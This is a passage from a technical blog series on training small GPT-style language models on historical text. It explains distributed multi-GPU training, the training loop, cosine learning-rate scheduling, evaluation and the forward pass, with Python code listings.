&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp_world_size &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 8: Multi-GPU Training Setup&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;What is &amp;ldquo;rank&amp;rdquo; and why does it matter?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In distributed training, each GPU process gets a unique “rank.” Rank 0 acts as the coordinator (handles logging, checkpointing, and WandB), while the remaining ranks focus purely on computation. This avoids collisions - only one process touches files and dashboards - while every device contributes gradients.&lt;/p&gt;
&lt;p&gt;This division of labor is crucial because it prevents conflicts. Without it, all processes would try to save checkpoints simultaneously, log to WandB at the same time, or write to the same files, causing errors and corruption.&lt;/p&gt;
&lt;p&gt;The key to scaling efficiency is that each GPU works independently on different data batches, then synchronizes only the essential information (gradients). Here&amp;rsquo;s how it works:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Parallel computation&lt;/strong&gt;: Each GPU processes a different batch of data simultaneously&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gradient synchronization&lt;/strong&gt;: After each backward pass, gradients are averaged across all GPUs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Independent updates&lt;/strong&gt;: Each GPU updates its model copy with the averaged gradients&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This means that if you have 2 GPUs, you can process 2x the data in the same time, giving you roughly 2x the speed. With 4 GPUs, you get approximately 4x speedup. The &amp;ldquo;near-linear&amp;rdquo; part acknowledges that there&amp;rsquo;s always some overhead from communication and synchronization, so that you might get 1.9x speedup instead of exactly 2x. Still, it&amp;rsquo;s close enough to be very effective.&lt;/p&gt;
&lt;p&gt;However, there&amp;rsquo;s a practical limit to this approach. Beyond 8-16 GPUs, the communication overhead becomes so significant that you need more robust hardware (such as InfiniBand networks) and advanced systems engineering techniques (gradient compression, pipeline parallelism, model parallelism) to maintain efficiency. For truly large-scale training with hundreds of GPUs, you need specialized infrastructure and techniques that go far beyond what we&amp;rsquo;re doing here.&lt;/p&gt;
&lt;p&gt;This combination of distributed training and memory optimization enables us to train our historical language models efficiently, even on consumer hardware. The distributed setup provides fault tolerance and near-linear speedup, while the precision optimizations enable larger models and longer sequences on the same hardware.&lt;/p&gt;
&lt;h2 id=&#34;4-training-infrastructure-making-it-all-work-together&#34;&gt;4. Training Infrastructure: Making It All Work Together&lt;/h2&gt;
&lt;p&gt;As a reminder, as we saw earlier, the two model variants share the same training stack (scheduler, checkpointing, WandB, DDP). See Part 1 for the high‑level comparison; here are the training‑relevant differences only:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SLM (117M): per‑GPU batch 18 → effective 36 on 2 GPUs; sequence length 512; ~7–8h on 2×A30&lt;/li&gt;
&lt;li&gt;Regular (354M): per‑GPU batch 12 → effective 24 on 2 GPUs; sequence length 1024; ~28–32h on 2×A30&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;41-the-training-loop&#34;&gt;4.1 The Training Loop&lt;/h3&gt;
&lt;p&gt;The core training happens in the &lt;code&gt;train()&lt;/code&gt; method, which implements a standard language model training loop with several key phases - outlined below.&lt;/p&gt;
&lt;h4 id=&#34;411-data-loading-and-preparation&#34;&gt;4.1.1 Data Loading and Preparation&lt;/h4&gt;
&lt;p&gt;The training loop starts by loading tokenized data using &lt;code&gt;get_batch(&#39;train&#39;)&lt;/code&gt;, which reads from pre-processed binary files created during data preparation. This includes both training and validation data, with the tokenizer from &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Part 2: Data Collection &amp;amp; Custom Tokenizers
	&lt;/span&gt;
&lt;/a&gt; handling the conversion between text and tokens.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Main Training Loop Structure:&lt;/strong&gt;&lt;/p&gt;
&lt;figure id=&#34;listing9&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;train&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Main training loop&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Get initial batch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    X, Y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get_batch(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;train&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 1. Learning rate scheduling&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        lr &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get_lr(iter_num)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 2. Evaluation and checkpointing (every eval_interval steps)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; iter_num &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eval_interval &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            losses &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;estimate_loss()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Save checkpoint if validation loss improved&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 3. Forward pass with mixed precision&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;amp&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;autocast():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            logits, loss &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model(X, Y)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 4. Backward pass and optimization&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        loss&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;backward()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;utils&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;clip_grad_norm_(model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;parameters(), &lt;span style=&#34;color:#f5a97f&#34;&gt;1.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        optimizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;step()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        optimizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;zero_grad()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 5. Get next batch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        X, Y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get_batch(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;train&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 6. Logging and monitoring&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; iter_num &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;log_interval &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Log to WandB and console&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 9: Core Training Loop Structure&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Training Process Flow:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Understanding how the training actually works requires seeing both the high-level flow and the technical details of each phase. &lt;a href=&#34;#fig8&#34; class=&#34;figure-ref&#34;&gt;Figure 8&lt;/a&gt; shows the complete training process flow.&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig8&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph TD
    A[Start Training] --&amp;gt; B[Load Tokenized Data]
    B --&amp;gt; C[Initialize Model &amp;amp; Optimizer]
    C --&amp;gt; D[Training Loop Start]
    D --&amp;gt; E[Update Learning Rate]
    E --&amp;gt; F{Evaluation Time?}
    F --&amp;gt;|Yes| G[Run Validation]
    F --&amp;gt;|No| H[Forward Pass]
    G --&amp;gt; H
    H --&amp;gt; I[Compute Loss]
    I --&amp;gt; J[Backward Pass]
    J --&amp;gt; K[Gradient Clipping]
    K --&amp;gt; L[Update Weights]
    L --&amp;gt; M[Zero Gradients]
    M --&amp;gt; N[Log Metrics]
    N --&amp;gt; O{Checkpoint?}
    O --&amp;gt;|Yes| P[Save Model State]
    O --&amp;gt;|No| Q[Load Next Batch]
    P --&amp;gt; Q
    Q --&amp;gt; R{Max Iterations?}
    R --&amp;gt;|No| D
    R --&amp;gt;|Yes| S[Save Final Model]
    S --&amp;gt; T[End Training]&lt;/pre&gt;
    &lt;figcaption&gt;Figure 8: Training Process Flow&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Now that we have a high-level overview of the training process, let us dig deeper into each phase and see how it works in practice.&lt;/p&gt;
&lt;h4 id=&#34;412-data-loading&#34;&gt;4.1.2 Data Loading&lt;/h4&gt;
&lt;p&gt;Data loading reads pre-tokenized sequences from binary files (&lt;code&gt;.bin&lt;/code&gt;) using &lt;code&gt;np.memmap&lt;/code&gt; for memory efficiency. The initial tokenization process can take quite a long time on our 500M+ character corpus, but this is done only once and saved to disk. This optimization was crucial during our development process – given nearly 100 training runs and many failures, re-tokenizing the entire corpus each time would have been prohibitively slow. The system handles train/val splits (90/10 %) with random sampling per batch and uses &lt;code&gt;pin_memory()&lt;/code&gt; and &lt;code&gt;non_blocking=True&lt;/code&gt; for faster GPU transfers.&lt;/p&gt;
&lt;p&gt;When we run this for the time time, it takes a long time to load and tokenize the training data corpus. We see this just startging in &lt;a href=&#34;#fig9&#34; class=&#34;figure-ref&#34;&gt;Figure 9&lt;/a&gt; below.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/train16.png&#34; alt=&#34;Tokenizer training data Screenshot&#34; title=&#34;Tokenizer training data&#34; id=&#34;fig9&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 9:&lt;/strong&gt;Tokenizer training data&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Batch sizes are optimized for our 2x A30 GPU setup: 18 per GPU for the SLM model (36 effective batch size) and 12 per GPU for the Regular model (24 effective batch size). These numbers balance memory usage with training stability – the SLM can handle larger batches thanks to its smaller 117M parameter count. In comparison, the Regular model&amp;rsquo;s 354M parameters require smaller batches to fit in GPU memory.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;#fig10&#34; class=&#34;figure-ref&#34;&gt;Figure 10&lt;/a&gt; below shows the dual GPU setup used for one of the training sessions for the regular mode.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/gpu1.png&#34; alt=&#34;GPU detail Screenshot&#34; title=&#34;GPU details&#34; id=&#34;fig10&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 10:&lt;/strong&gt;GPU detail&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h4 id=&#34;413-learning-rate-scheduling&#34;&gt;4.1.3 Learning Rate Scheduling&lt;/h4&gt;
&lt;p&gt;Learning Rate Scheduling uses cosine decay with warmup, a two-phase approach that helps prevent training instability. The warmup phase gradually increases the learning rate from 0 to the target value over 500 steps (SLM) or 1000 steps (Regular model), preventing the model from making large, destabilizing updates early in training.&lt;/p&gt;
&lt;p&gt;After warmup, cosine decay smoothly reduces the learning rate following a cosine curve to 10% of the initial rate by the end of training. In case you are not familiar with Cosine decay, it is a scheduling strategy where the learning rate follows the shape of a cosine wave: starting at the maximum value after warmup, it decreases slowly at first, then more rapidly in the middle of training, and finally levels off gently near the minimum value.&lt;/p&gt;
&lt;p&gt;Mathematically, this follows the curve &lt;code&gt;lr = min_lr + (max_lr - min_lr) × 0.5 × (1 + cos(π × progress))&lt;/code&gt;, where &lt;code&gt;progress&lt;/code&gt; goes from 0 (start of decay) to 1 (end of training). Unlike linear decay (which drops at a constant rate) or step decay (which drops abruptly at fixed intervals), cosine decay provides a smooth, natural reduction that helps the model explore the loss landscape more effectively early on, then refine its parameters more precisely as training progresses.&lt;/p&gt;
&lt;p&gt;The initial learning rates are chosen based on model size: 3e-4 (0.0003) for the SLM model and 3e-5 (0.00003) for the Regular model. The 10x difference reflects the Regular model&amp;rsquo;s larger parameter count (354M vs 117M) - larger models typically need smaller learning rates to prevent gradient explosion. The cosine decay ensures the model converges smoothly rather than oscillating around the minimum, which is crucial for the complex patterns in historical text.&lt;/p&gt;
&lt;figure id=&#34;listing10&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;get_lr&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, it):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Learning rate schedule&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    warmup_iters &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;500&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lr_decay_iters &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;max_iters
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    min_lr &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;learning_rate &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; it &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt; warmup_iters:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;learning_rate &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; (it &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; (warmup_iters &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; it &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; lr_decay_iters:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; min_lr
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    decay_ratio &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (it &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; warmup_iters) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; (lr_decay_iters &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; warmup_iters)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;=&lt;/span&gt; decay_ratio &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    coeff &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.5&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#f5a97f&#34;&gt;1.0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; math&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cos(math&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;pi &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; decay_ratio))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; min_lr &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; coeff &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;learning_rate &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; min_lr)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 10: Learning Rate Scheduling Function&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The code in &lt;a href=&#34;#listing10&#34; class=&#34;listing-ref&#34;&gt;Listing 10&lt;/a&gt; shows how the learning rate schedule is implemented. The function takes the current iteration number and returns the appropriate learning rate based on whether we&amp;rsquo;re in the warmup phase (linear increase) or decay phase (cosine curve). The &lt;code&gt;warmup_iters&lt;/code&gt; parameter controls the warmup duration, while &lt;code&gt;min_lr&lt;/code&gt; sets the final learning rate to 10% of the initial value.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As a side note, in case you are curious about why a &lt;strong&gt;cosine decay&lt;/strong&gt; specifically makes sense, then read on. The cosine function has unique mathematical properties that make it ideal for learning rate scheduling. Unlike linear decay (which drops too quickly) or exponential decay (which drops too slowly), cosine decay starts with a gentle slope that gradually steepens, then flattens out near the end. This creates a &amp;ldquo;restart&amp;rdquo; effect, allowing the model to escape local minima early in training and then fine-tune more precisely in later stages.&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The smooth, continuous nature of cosine decay prevents the learning rate from changing too abruptly, which could destabilize training. Given the historical text&amp;rsquo;s complex linguistic patterns, this gradual, adaptive approach helps the model learn both general language structures and specific historical vocabulary without getting stuck in suboptimal solutions.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h4 id=&#34;414-evaluation&#34;&gt;4.1.4 Evaluation&lt;/h4&gt;
&lt;p&gt;We run evaluations at a regular interval after a certain number of steps, which are defined in the &lt;strong&gt;&lt;code&gt;eval_interval()&lt;/code&gt;&lt;/strong&gt; method (defaults to 500 for SLM, 1000 for Regular) and compute loss on both train and validation sets using the &lt;strong&gt;&lt;code&gt;estimate_loss()&lt;/code&gt;&lt;/strong&gt; method. The different intervals reflect the models&amp;rsquo; training complexity: the SLM trains faster and benefits from more frequent checks, while the Regular model’s longer runs can use less frequent evaluation.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;estimate_loss()&lt;/code&gt; function monitors training progress without disrupting the learning process. To ensure consistent measurements, it temporarily switches the model to evaluation mode (&lt;strong&gt;&lt;code&gt;model.eval()&lt;/code&gt;&lt;/strong&gt;). In this mode, dropout layers stop randomly dropping neurons (using the full network capacity), and batch normalization uses running statistics rather than recomputing them from each batch. This means the same input produces the same output every time, unlike in training mode, where dropout introduces randomness for regularization.&lt;/p&gt;
&lt;p&gt;Rather than computing loss on the entire dataset (which would be too slow), &lt;code&gt;estimate_loss()&lt;/code&gt; samples &lt;code&gt;eval_iters&lt;/code&gt; random batches (default 100) from both training and validation sets. It computes the loss for each batch and returns the average, providing a representative estimate of model performance while remaining computationally efficient.&lt;/p&gt;
&lt;p&gt;The evaluation process uses &lt;strong&gt;&lt;code&gt;torch.no_grad()&lt;/code&gt;&lt;/strong&gt; to disable gradient computation during validation. Gradients are the partial derivatives that tell us how to adjust each model parameter to reduce loss - they&amp;rsquo;re computed during the backward pass and stored for the optimizer. During evaluation, we don&amp;rsquo;t need gradients because we&amp;rsquo;re not updating weights; we&amp;rsquo;re just measuring performance.&lt;/p&gt;
&lt;p&gt;Disabling gradient computation serves two critical purposes. First, it prevents memory leaks by not storing gradients for validation computations - without this, GPU memory would gradually increase during evaluation and eventually cause out-of-memory errors. Second, it ensures accurate loss measurement by preventing any accidental gradient updates during the evaluation phase. The &lt;code&gt;no_grad()&lt;/code&gt; context manager is essential for maintaining training stability and memory efficiency.&lt;/p&gt;
&lt;h4 id=&#34;415-forward-pass&#34;&gt;4.1.5 Forward Pass&lt;/h4&gt;
&lt;p&gt;A forward pass is when the model processes input data through its layers to produce a prediction. Think of it like asking the model a question: given a sequence of historical text tokens, &amp;ldquo;what word should come next?&amp;rdquo; The model flows the input forward through 12 transformer blocks (SLM) or 24 blocks (Regular), each applying self-attention (to understand relationships between words) and feed-forward operations (to transform and refine the representations). At the end, the model outputs a probability distribution over all possible next tokens.&lt;/p&gt;
